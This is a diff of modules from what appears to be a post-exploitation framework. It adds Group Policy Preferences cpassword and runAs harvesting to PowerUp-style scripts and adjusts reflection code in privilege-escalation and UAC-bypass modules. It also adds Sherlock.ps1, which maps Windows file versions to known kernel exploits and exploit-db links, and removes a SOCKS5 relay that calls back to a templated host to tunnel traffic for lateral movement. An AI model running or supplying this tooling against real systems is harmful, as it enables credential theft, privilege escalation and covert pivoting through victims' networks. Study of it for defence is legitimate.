149149 'Scheduledtasks.xml' {
150150 $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
151 + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
151152 $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
153 + $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
152154 $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
155 + $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
153156 }
154157
155158 'DataSources.xml' {
+1
-1
data/module_source/privesc/Get-System.ps1 less more
149149 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
150150 # Get a reference to the GetModuleHandle and GetProcAddress methods
151151 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
152 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
152 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
153153 # Get a handle to the module specified
154154 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
155155 $tmpPtr = New-Object IntPtr
+1
-1
data/module_source/privesc/Invoke-BypassUAC.ps1 less more
259259 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
260260 # Get a reference to the GetModuleHandle and GetProcAddress methods
261261 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
262 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
262 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
263263 # Get a handle to the module specified
264264 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
265265 $tmpPtr = New-Object IntPtr
+3
-0
data/module_source/privesc/PowerUp.ps1 less more
36393639
36403640 'Scheduledtasks.xml' {
36413641 $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3642 $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
36423643 $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3644 $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
36433645 $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3646 $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
36443647 }
36453648
36463649 'DataSources.xml' {
+490
-0
data/module_source/privesc/Sherlock.ps1 less more
0 <#
1
2 File: Sherlock.ps1
3 Author: @_RastaMouse
4 License: GNU General Public License v3.0
5
6 #>
7
8 $Global:ExploitTable = $null
9
10 function Get-FileVersionInfo ($FilePath) {
11
12 $VersionInfo = (Get-Item $FilePath).VersionInfo
13 $FileVersion = ( "{0}.{1}.{2}.{3}" -f $VersionInfo.FileMajorPart, $VersionInfo.FileMinorPart, $VersionInfo.FileBuildPart, $VersionInfo.FilePrivatePart )
14
15 return $FileVersion
16
17 }
18
19 function Get-InstalledSoftware($SoftwareName) {
20
21 $SoftwareVersion = Get-WmiObject -Class Win32_Product | Where { $_.Name -eq $SoftwareName } | Select-Object Version
22 $SoftwareVersion = $SoftwareVersion.Version # I have no idea what I'm doing
23
24 return $SoftwareVersion
25
26 }
27
28 function Get-Architecture {
29
30 # This is the CPU architecture. Returns "64-bit" or "32-bit".
31 $CPUArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
32
33 # This is the process architecture, e.g. are we an x86 process running on a 64-bit system. Retuns "AMD64" or "x86".
34 $ProcessArchitecture = $env:PROCESSOR_ARCHITECTURE
35
36 return $CPUArchitecture, $ProcessArchitecture
37
38 }
39
40 function New-ExploitTable {
41
42 # Create the table
43 $Global:ExploitTable = New-Object System.Data.DataTable
44
45 # Create the columns
46 $Global:ExploitTable.Columns.Add("Title")
47 $Global:ExploitTable.Columns.Add("MSBulletin")
48 $Global:ExploitTable.Columns.Add("CVEID")
49 $Global:ExploitTable.Columns.Add("Link")
50 $Global:ExploitTable.Columns.Add("VulnStatus")
51
52 # Add the exploits we are interested in.
53
54 # MS10
55 $Global:ExploitTable.Rows.Add("User Mode to Ring (KiTrap0D)","MS10-015","2010-0232","https://www.exploit-db.com/exploits/11199/")
56 $Global:ExploitTable.Rows.Add("Task Scheduler .XML","MS10-092","2010-3338, 2010-3888","https://www.exploit-db.com/exploits/19930/")
57 # MS13
58 $Global:ExploitTable.Rows.Add("NTUserMessageCall Win32k Kernel Pool Overflow","MS13-053","2013-1300","https://www.exploit-db.com/exploits/33213/")
59 $Global:ExploitTable.Rows.Add("TrackPopupMenuEx Win32k NULL Page","MS13-081","2013-3881","https://www.exploit-db.com/exploits/31576/")
60 # MS14
61 $Global:ExploitTable.Rows.Add("TrackPopupMenu Win32k Null Pointer Dereference","MS14-058","2014-4113","https://www.exploit-db.com/exploits/35101/")
62 # MS15
63 $Global:ExploitTable.Rows.Add("ClientCopyImage Win32k","MS15-051","2015-1701, 2015-2433","https://www.exploit-db.com/exploits/37367/")
64 $Global:ExploitTable.Rows.Add("Font Driver Buffer Overflow","MS15-078","2015-2426, 2015-2433","https://www.exploit-db.com/exploits/38222/")
65 # MS16
66 $Global:ExploitTable.Rows.Add("'mrxdav.sys' WebDAV","MS16-016","2016-0051","https://www.exploit-db.com/exploits/40085/")
67 $Global:ExploitTable.Rows.Add("Secondary Logon Handle","MS16-032","2016-0099","https://www.exploit-db.com/exploits/39719/")
68 $Global:ExploitTable.Rows.Add("Win32k Elevation of Privilege","MS16-135","2016-7255","https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135")
69 # Miscs that aren't MS
70 $Global:ExploitTable.Rows.Add("Nessus Agent 6.6.2 - 6.10.3","N/A","2017-7199","https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html")
71
72 }
73
74 function Set-ExploitTable ($MSBulletin, $VulnStatus) {
75
76 if ( $MSBulletin -like "MS*" ) {
77
78 $Global:ExploitTable | Where { $_.MSBulletin -eq $MSBulletin
79
80 } | ForEach-Object {
81
82 $_.VulnStatus = $VulnStatus
83
84 }
85
86 } else {
87
88
89 $Global:ExploitTable | Where { $_.CVEID -eq $MSBulletin
90
91 } | ForEach-Object {
92
93 $_.VulnStatus = $VulnStatus
94
95 }
96
97 }
98
99 }
100
101 function Get-Results {
102
103 $Global:ExploitTable
104
105 }
106
107 function Find-AllVulns {
108
109 if ( !$Global:ExploitTable ) {
110
111 $null = New-ExploitTable
112
113 }
114
115 Find-MS10015
116 Find-MS10092
117 Find-MS13053
118 Find-MS13081
119 Find-MS14058
120 Find-MS15051
121 Find-MS15078
122 Find-MS16016
123 Find-MS16032
124 Find-MS16135
125 Find-CVE20177199
126
127 Get-Results
128
129 }
130
131 function Find-MS10015 {
132
133 $MSBulletin = "MS10-015"
134 $Architecture = Get-Architecture
135
136 if ( $Architecture[0] -eq "64-bit" ) {
137
138 $VulnStatus = "Not supported on 64-bit systems"
139
140 } Else {
141
142 $Path = $env:windir + "\system32\ntoskrnl.exe"
143 $VersionInfo = Get-FileVersionInfo($Path)
144 $VersionInfo = $VersionInfo.Split(".")
145
146 $Build = $VersionInfo[2]
147 $Revision = $VersionInfo[3].Split(" ")[0]
148
149 switch ( $Build ) {
150
151 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20591" ] }
152 default { $VulnStatus = "Not Vulnerable" }
153
154 }
155
156 }
157
158 Set-ExploitTable $MSBulletin $VulnStatus
159
160 }
161
162 function Find-MS10092 {
163
164 $MSBulletin = "MS10-092"
165 $Architecture = Get-Architecture
166
167 if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) {
168
169 $Path = $env:windir + "\system32\schedsvc.dll"
170
171 } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) {
172
173 $Path = $env:windir + "\sysnative\schedsvc.dll"
174
175 }
176
177 $VersionInfo = Get-FileVersionInfo($Path)
178 $VersionInfo = $VersionInfo.Split(".")
179
180 $Build = $VersionInfo[2]
181 $Revision = $VersionInfo[3].Split(" ")[0]
182
183 switch ( $Build ) {
184
185 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20830" ] }
186 default { $VulnStatus = "Not Vulnerable" }
187
188 }
189
190 Set-ExploitTable $MSBulletin $VulnStatus
191
192 }
193
194 function Find-MS13053 {
195
196 $MSBulletin = "MS13-053"
197 $Architecture = Get-Architecture
198
199 if ( $Architecture[0] -eq "64-bit" ) {
200
201 $VulnStatus = "Not supported on 64-bit systems"
202
203 } Else {
204
205 $Path = $env:windir + "\system32\win32k.sys"
206 $VersionInfo = Get-FileVersionInfo($Path)
207 $VersionInfo = $VersionInfo.Split(".")
208
209 $Build = $VersionInfo[2]
210 $Revision = $VersionInfo[3].Split(" ")[0]
211
212 switch ( $Build ) {
213
214 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "17000" ] }
215 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22348" ] }
216 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20732" ] }
217 default { $VulnStatus = "Not Vulnerable" }
218
219 }
220
221 }
222
223 Set-ExploitTable $MSBulletin $VulnStatus
224
225 }
226
227 function Find-MS13081 {
228
229 $MSBulletin = "MS13-081"
230 $Architecture = Get-Architecture
231
232 if ( $Architecture[0] -eq "64-bit" ) {
233
234 $VulnStatus = "Not supported on 64-bit systems"
235
236 } Else {
237
238 $Path = $env:windir + "\system32\win32k.sys"
239 $VersionInfo = Get-FileVersionInfo($Path)
240 $VersionInfo = $VersionInfo.Split(".")
241
242 $Build = $VersionInfo[2]
243 $Revision = $VersionInfo[3].Split(" ")[0]
244
245 switch ( $Build ) {
246
247 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] }
248 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22435" ] }
249 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20807" ] }
250 default { $VulnStatus = "Not Vulnerable" }
251
252 }
253
254 }
255
256 Set-ExploitTable $MSBulletin $VulnStatus
257
258 }
259
260 function Find-MS14058 {
261
262 $MSBulletin = "MS14-058"
263 $Architecture = Get-Architecture
264
265 if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) {
266
267 $Path = $env:windir + "\system32\win32k.sys"
268
269 } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) {
270
271 $Path = $env:windir + "\sysnative\win32k.sys"
272
273 }
274
275 $VersionInfo = Get-FileVersionInfo($Path)
276 $VersionInfo = $VersionInfo.Split(".")
277
278 $Build = $VersionInfo[2]
279 $Revision = $VersionInfo[3].Split(" ")[0]
280
281 switch ( $Build ) {
282
283 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] }
284 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] }
285 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] }
286 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] }
287 default { $VulnStatus = "Not Vulnerable" }
288
289 }
290
291 Set-ExploitTable $MSBulletin $VulnStatus
292
293 }
294
295 function Find-MS15051 {
296
297 $MSBulletin = "MS15-051"
298 $Architecture = Get-Architecture
299
300 if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) {
301
302 $Path = $env:windir + "\system32\win32k.sys"
303
304 } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) {
305
306 $Path = $env:windir + "\sysnative\win32k.sys"
307
308 }
309
310 $VersionInfo = Get-FileVersionInfo($Path)
311 $VersionInfo = $VersionInfo.Split(".")
312
313 $Build = $VersionInfo[2]
314 $Revision = $VersionInfo[3].Split(" ")[0]
315
316 switch ( $Build ) {
317
318 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18000" ] }
319 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] }
320 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] }
321 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] }
322 default { $VulnStatus = "Not Vulnerable" }
323
324 }
325
326 Set-ExploitTable $MSBulletin $VulnStatus
327
328 }
329
330 function Find-MS15078 {
331
332 $MSBulletin = "MS15-078"
333
334 $Path = $env:windir + "\system32\atmfd.dll"
335 if (Test-Path $Path -PathType Leaf) {
336 $VersionInfo = Get-FileVersionInfo($Path) -ErrorAction Stop
337 $VersionInfo = $VersionInfo.Split(" ")
338
339 $Revision = $VersionInfo[2]
340 }
341 switch ( $Revision ) {
342
343 243 { $VulnStatus = "Appears Vulnerable" }
344 default { $VulnStatus = "Not Vulnerable" }
345 }
346 Set-ExploitTable $MSBulletin $VulnStatus
347
348 }
349
350 function Find-MS16016 {
351
352 $MSBulletin = "MS16-016"
353 $Architecture = Get-Architecture
354
355 if ( $Architecture[0] -eq "64-bit" ) {
356
357 $VulnStatus = "Not supported on 64-bit systems"
358
359 } Else {
360
361 $Path = $env:windir + "\system32\drivers\mrxdav.sys"
362 $VersionInfo = Get-FileVersionInfo($Path)
363 $VersionInfo = $VersionInfo.Split(".")
364
365 $Build = $VersionInfo[2]
366 $Revision = $VersionInfo[3].Split(" ")[0]
367
368 switch ( $Build ) {
369
370 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16000" ] }
371 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "23317" ] }
372 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21738" ] }
373 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18189" ] }
374 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16683" ] }
375 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "103" ] }
376 default { $VulnStatus = "Not Vulnerable" }
377
378 }
379
380 }
381
382 Set-ExploitTable $MSBulletin $VulnStatus
383
384 }
385
386 function Find-MS16032 {
387
388 $MSBulletin = "MS16-032"
389 $Architecture = Get-Architecture
390
391 if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) {
392
393 $Path = $env:windir + "\system32\seclogon.dll"
394
395 } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) {
396
397 $Path = $env:windir + "\sysnative\seclogon.dll"
398
399 }
400
401 $VersionInfo = Get-FileVersionInfo($Path)
402
403 $VersionInfo = $VersionInfo.Split(".")
404
405 $Build = [int]$VersionInfo[2]
406 $Revision = [int]$VersionInfo[3].Split(" ")[0]
407
408 switch ( $Build ) {
409
410 6002 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 19598 -Or ( $Revision -ge 23000 -And $Revision -le 23909 ) ] }
411 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 16000 ] }
412 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 19148 -Or ( $Revision -ge 23000 -And $Revision -le 23347 ) ] }
413 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 17649 -Or ( $Revision -ge 21000 -And $Revision -le 21767 ) ] }
414 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 18230 ] }
415 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 16724 ] }
416 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 161 ] }
417 default { $VulnStatus = "Not Vulnerable" }
418
419 }
420
421 Set-ExploitTable $MSBulletin $VulnStatus
422
423 }
424
425 function Find-CVE20177199 {
426
427 $CVEID = "2017-7199"
428 $SoftwareVersion = Get-InstalledSoftware "Nessus Agent"
429
430 if ( !$SoftwareVersion ) {
431
432 $VulnStatus = "Not Vulnerable"
433
434 } else {
435
436 $SoftwareVersion = $SoftwareVersion.Split(".")
437
438 $Major = [int]$SoftwareVersion[0]
439 $Minor = [int]$SoftwareVersion[1]
440 $Build = [int]$SoftwareVersion[2]
441
442 switch( $Major ) {
443
444 6 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Minor -eq 10 -and $Build -le 3 -Or ( $Minor -eq 6 -and $Build -le 2 ) -Or ( $Minor -le 9 -and $Minor -ge 7 ) ] } # 6.6.2 - 6.10.3
445 default { $VulnStatus = "Not Vulnerable" }
446
447 }
448
449 }
450
451 Set-ExploitTable $CVEID $VulnStatus
452
453 }
454
455 function Find-MS16135 {
456
457 $MSBulletin = "MS16-135"
458 $Architecture = Get-Architecture
459
460 if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) {
461
462 $Path = $env:windir + "\system32\win32k.sys"
463
464 } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) {
465
466 $Path = $env:windir + "\sysnative\win32k.sys"
467
468 }
469
470 $VersionInfo = Get-FileVersionInfo($Path)
471 $VersionInfo = $VersionInfo.Split(".")
472
473 $Build = [int]$VersionInfo[2]
474 $Revision = [int]$VersionInfo[3].Split(" ")[0]
475
476 switch ( $Build ) {
477
478 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 23584 ] }
479 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 18524 ] }
480 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 16384 ] }
481 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19 ] }
482 14393 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 446 ] }
483 default { $VulnStatus = "Not Vulnerable" }
484
485 }
486
487 Set-ExploitTable $MSBulletin $VulnStatus
488
489 }⏎
+0
-437
data/module_source/python/lateral_movement/socks_source.py less more
0 #from __future__ import unicode_literals, division
1
2 import select
3 import socket
4 import ssl
5 import struct
6 import sys
7 import threading
8
9
10 class MessageType(object):
11 Control = 0
12 Data = 1
13 OpenChannel = 2
14 CloseChannel = 3
15
16 @classmethod
17 def validate(cls, arg):
18 if not isinstance(arg, int) or not MessageType.Control <= arg <= MessageType.CloseChannel:
19 raise TypeError()
20 return arg
21
22
23 class Message(object):
24 HDR_STRUCT = b'!BHI'
25 HDR_SIZE = struct.calcsize(HDR_STRUCT)
26
27 def __init__(self, body, channel_id, msg_type=MessageType.Data):
28 self.body = body
29 self._channel_id = channel_id
30 self.msg_type = msg_type
31
32 @property
33 def channel_id(self):
34 return self._channel_id
35
36 @classmethod
37 def parse_hdr(cls, data):
38 msg_type, channel_id, length = struct.unpack(cls.HDR_STRUCT, data[:struct.calcsize(cls.HDR_STRUCT)])
39 MessageType.validate(msg_type)
40 return msg_type, channel_id, length
41
42 @classmethod
43 def parse(cls, data):
44 if len(data) < cls.HDR_SIZE:
45 raise ValueError()
46 msg_type, channel_id, length = cls.parse_hdr(data[:cls.HDR_SIZE])
47 data = data[cls.HDR_SIZE:]
48 if length != len(data):
49 raise ValueError()
50 MessageType.validate(msg_type)
51 return Message(data, channel_id, msg_type=msg_type)
52
53 def serialize(self):
54 return struct.pack(self.HDR_STRUCT, self.msg_type, self.channel_id, len(self.body)) + self.body
55
56
57 class Channel(object):
58 def __init__(self, channel_id):
59 self._channel_id = channel_id
60 self._client_end, self._tunnel_end = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
61 self.tx = 0
62 self.rx = 0
63
64 @property
65 def tunnel_interface(self):
66 return self._tunnel_end
67
68 @property
69 def client_interface(self):
70 return self._client_end
71
72 @property
73 def channel_id(self):
74 return self._channel_id
75
76 def fileno(self):
77 return self._client_end.fileno()
78
79 def close(self):
80 self._client_end.close()
81
82 def send(self, data, flags=0):
83 self._client_end.sendall(data, flags)
84 self.tx += len(data)
85
86 def recv(self, length):
87 try:
88 data = self._client_end.recv(length)
89 except Exception:
90 data = b''
91 else:
92 self.rx += len(data)
93 return data
94
95
96 class Tunnel(object):
97 def __init__(self, sock, open_channel_callback=None, close_channel_callback=None):
98 self.transport = sock
99 self.transport_lock = threading.Lock()
100 self.channels = []
101 self.closed_channels = {}
102
103 if open_channel_callback is None:
104 self.open_channel_callback = lambda x: None
105 else:
106 self.open_channel_callback = open_channel_callback
107
108 if close_channel_callback is None:
109 self.close_channel_callback = lambda x: None
110 else:
111 self.close_channel_callback = close_channel_callback
112
113 self.monitor_thread = threading.Thread(target=self._monitor)
114 self.monitor_thread.daemon = True
115 self.monitor_thread.start()
116
117 def wait(self):
118 self.monitor_thread.join()
119
120 @property
121 def channel_id_map(self):
122 return {x: y for x, y in self.channels}
123
124 @property
125 def id_channel_map(self):
126 return {y: x for x, y in self.channels}
127
128 def _close_channel_remote(self, channel_id):
129 message = Message(b'', channel_id, msg_type=MessageType.CloseChannel)
130 self.transport_lock.acquire()
131 self.transport.sendall(message.serialize())
132 self.transport_lock.release()
133
134 def close_channel(self, channel_id, close_remote=False, exc=False):
135 if channel_id in self.closed_channels:
136 if close_remote:
137 self._close_channel_remote(channel_id)
138 return
139
140 if channel_id not in self.id_channel_map:
141 if exc:
142 raise ValueError()
143 else:
144 return
145 channel = self.id_channel_map[channel_id]
146 try:
147 self.channels.remove((channel, channel_id))
148 except ValueError:
149 return
150 channel.close()
151 channel.tunnel_interface.close()
152 if close_remote:
153 self._close_channel_remote(channel_id)
154 self.close_channel_callback(channel)
155 self.closed_channels[channel_id] = channel
156
157 def close_tunnel(self):
158 for channel, channel_id in self.channels:
159 self.close_channel(channel_id, close_remote=True)
160 self.transport.close()
161
162 def _open_channel_remote(self, channel_id):
163 message = Message(b'', channel_id, MessageType.OpenChannel)
164 self.transport_lock.acquire()
165 self.transport.sendall(message.serialize())
166 self.transport_lock.release()
167
168 def open_channel(self, channel_id, open_remote=False, exc=False):
169 if channel_id in self.id_channel_map:
170 if exc:
171 raise ValueError()
172 else:
173 return self.id_channel_map[channel_id]
174 channel = Channel(channel_id)
175 self.channels.append((channel, channel_id))
176 if open_remote:
177 self._open_channel_remote(channel_id)
178 self.open_channel_callback(channel)
179 return channel
180
181 def recv_message(self):
182 data = b''
183 while len(data) < Message.HDR_SIZE:
184 _data = self.transport.recv(Message.HDR_SIZE - len(data))
185 if not _data:
186 break
187 data += _data
188 if len(data) != Message.HDR_SIZE:
189 raise ValueError()
190 msg_type, channel_id, length = Message.parse_hdr(data)
191
192 chunks = []
193 received = 0
194 while received < length:
195 _data = self.transport.recv(length - received)
196 if not _data:
197 break
198 chunks.append(_data)
199 received += len(_data)
200 if received != length:
201 raise ValueError()
202 return Message(b''.join(chunks), channel_id, msg_type)
203
204 def _monitor(self):
205 while True:
206 ignored_channels = []
207
208 read_fds = [channel.tunnel_interface for channel, channel_id in self.channels] + [self.transport]
209
210 try:
211 r, _, _ = select.select(read_fds, [], [], 1)
212 except Exception:
213 continue
214
215 if not r:
216 continue
217
218 if self.transport in r:
219 try:
220 message = self.recv_message()
221 except ValueError:
222 sys.exit(1)
223
224 if message.msg_type == MessageType.CloseChannel:
225 self.close_channel(message.channel_id)
226 ignored_channels.append(message.channel_id)
227
228 elif message.msg_type == MessageType.OpenChannel:
229 self.open_channel(message.channel_id)
230
231 elif message.msg_type == MessageType.Data:
232 channel = self.id_channel_map.get(message.channel_id)
233 if channel is None:
234 self.close_channel(message.channel_id, close_remote=True)
235 else:
236 try:
237 channel.tunnel_interface.sendall(message.body)
238 except OSError as e:
239 self.close_channel(channel_id=message.channel_id, close_remote=True)
240
241 else:
242 tiface_channel_map = {channel.tunnel_interface: channel for (channel, channel_id) in self.channels}
243
244 for tunnel_iface in r:
245 if tunnel_iface == self.transport:
246 continue
247
248 channel = tiface_channel_map.get(tunnel_iface)
249 if channel is None or channel.channel_id in ignored_channels:
250 continue
251
252 try:
253 data = tunnel_iface.recv(4096)
254 except Exception:
255 self.close_channel(channel.channel_id, close_remote=True)
256 continue
257 if not data:
258 self.close_channel(channel.channel_id, close_remote=True)
259 continue
260
261 message = Message(data, channel.channel_id, MessageType.Data)
262
263 try:
264 self.transport_lock.acquire()
265 self.transport.sendall(message.serialize())
266 self.transport_lock.release()
267 except:
268 return
269 return
270
271 def proxy_sock_channel(self, sock, channel, logger):
272
273 def close_both():
274 self.close_channel(channel.channel_id, close_remote=True)
275 sock.close()
276
277 while True:
278 if (channel, channel.channel_id) not in self.channels:
279 return
280
281 readfds = [channel, sock]
282 try:
283 r, _, _ = select.select(readfds, [], [], 1)
284 except Exception:
285 return
286 if not r:
287 continue
288
289 if channel in r:
290 try:
291 data = channel.recv(4096)
292 except Exception:
293 close_both()
294 return
295 else:
296 if not data:
297 close_both()
298 return
299
300 try:
301 sock.sendall(data)
302 except Exception:
303 close_both()
304 return
305
306 if sock in r:
307 try:
308 data = sock.recv(4096)
309 except Exception:
310 close_both()
311 return
312 else:
313 if not data:
314 close_both()
315 return
316
317 try:
318 channel.send(data)
319 except Exception:
320 close_both()
321 return
322
323
324 class Socks5Proxy(object):
325 @staticmethod
326 def _remote_connect(remote_host, remote_port, sock, af=socket.AF_INET):
327 remote_socket = socket.socket(af, socket.SOCK_STREAM)
328
329 if af == socket.AF_INET:
330 atyp = 1
331 local_addr = ('0.0.0.0', 0)
332
333 else:
334 atyp = 4
335 local_addr = ('::', 0)
336
337 try:
338 remote_socket.connect((remote_host, remote_port))
339 except Exception:
340 reply = struct.pack('BBBB', 0x05, 0x05, 0x00, atyp)
341 else:
342 local_addr = remote_socket.getsockname()[:2]
343 reply = struct.pack('BBBB', 0x05, 0x00, 0x00, atyp)
344
345 reply += socket.inet_pton(af, local_addr[0]) + struct.pack('!H', local_addr[1])
346 sock.send(reply)
347
348 return remote_socket
349
350 @classmethod
351 def new_connect(cls, sock):
352 sock.recv(4096)
353 sock.sendall(struct.pack('BB', 0x05, 0x00))
354
355 request_data = sock.recv(4096)
356 if len(request_data) >= 10:
357 ver, cmd, rsv, atyp = struct.unpack('BBBB', request_data[:4])
358 if ver != 0x05 or cmd != 0x01:
359 sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
360 sock.close()
361 raise ValueError()
362 else:
363 sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
364 sock.close()
365 raise ValueError()
366
367 if atyp == 1:
368 addr_type = socket.AF_INET
369 addr = socket.inet_ntop(socket.AF_INET, request_data[4:8])
370 port, = struct.unpack('!H', request_data[8:10])
371 elif atyp == 3:
372 addr_type = socket.AF_INET
373 length, = struct.unpack('B', request_data[4:5])
374 addr = request_data[5:5 + length].decode()
375 port, = struct.unpack('!H', request_data[length + 5:length + 5 + 2])
376 elif atyp == 4:
377 addr_type = socket.AF_INET6
378 addr = socket.inet_ntop(socket.AF_INET6, request_data[4:20])
379 port, = struct.unpack('!H', request_data[20:22])
380 else:
381 sock.sendall(struct.pack('BBBB', 0x05, 0x08, 0x00, 0x00))
382 sock.close()
383 raise ValueError()
384
385 host = (addr, port)
386 remote_sock = cls._remote_connect(addr, port, sock, af=addr_type)
387 return remote_sock, host
388
389
390 class Relay(object):
391 def __init__(self, connect_host, connect_port, no_ssl=False):
392 self.no_ssl = no_ssl
393 self.connect_server = (connect_host, connect_port)
394 self.tunnel = None
395 self.tunnel_sock = socket.socket()
396 if not no_ssl:
397 try:
398 self.tunnel_sock = ssl.wrap_socket(self.tunnel_sock)
399 except ssl.SSLError as e:
400 sys.exit(-1)
401
402 def _handle_channel(self, channel):
403 sock = None
404
405 try:
406 sock, addr = Socks5Proxy.new_connect(channel.client_interface)
407 except ValueError:
408 self.tunnel.close_channel(channel.channel_id, close_remote=True)
409 return
410 except Exception:
411 self.tunnel.close_channel(channel.channel_id, close_remote=True)
412 try:
413 if isinstance(sock, socket.socket):
414 sock.close()
415 except:
416 pass
417 return
418 self.tunnel.proxy_sock_channel(sock, channel, None)
419
420 def open_channel_callback(self, channel):
421 t = threading.Thread(target=self._handle_channel, args=(channel,))
422 t.daemon = True
423 t.start()
424
425 def run(self):
426 try:
427 self.tunnel_sock.connect(self.connect_server)
428 except Exception:
429 return
430
431 self.tunnel = Tunnel(self.tunnel_sock, open_channel_callback=self.open_channel_callback)
432 self.tunnel.wait()
433
434
435 relay = Relay('${host}', ${port}, no_ssl=${no_ssl})
436 relay.run()
+401
-0
data/module_source/python/management/socks-src.py less more
0 #!/usr/bin/env python
1 from builtins import next
2 from builtins import hex
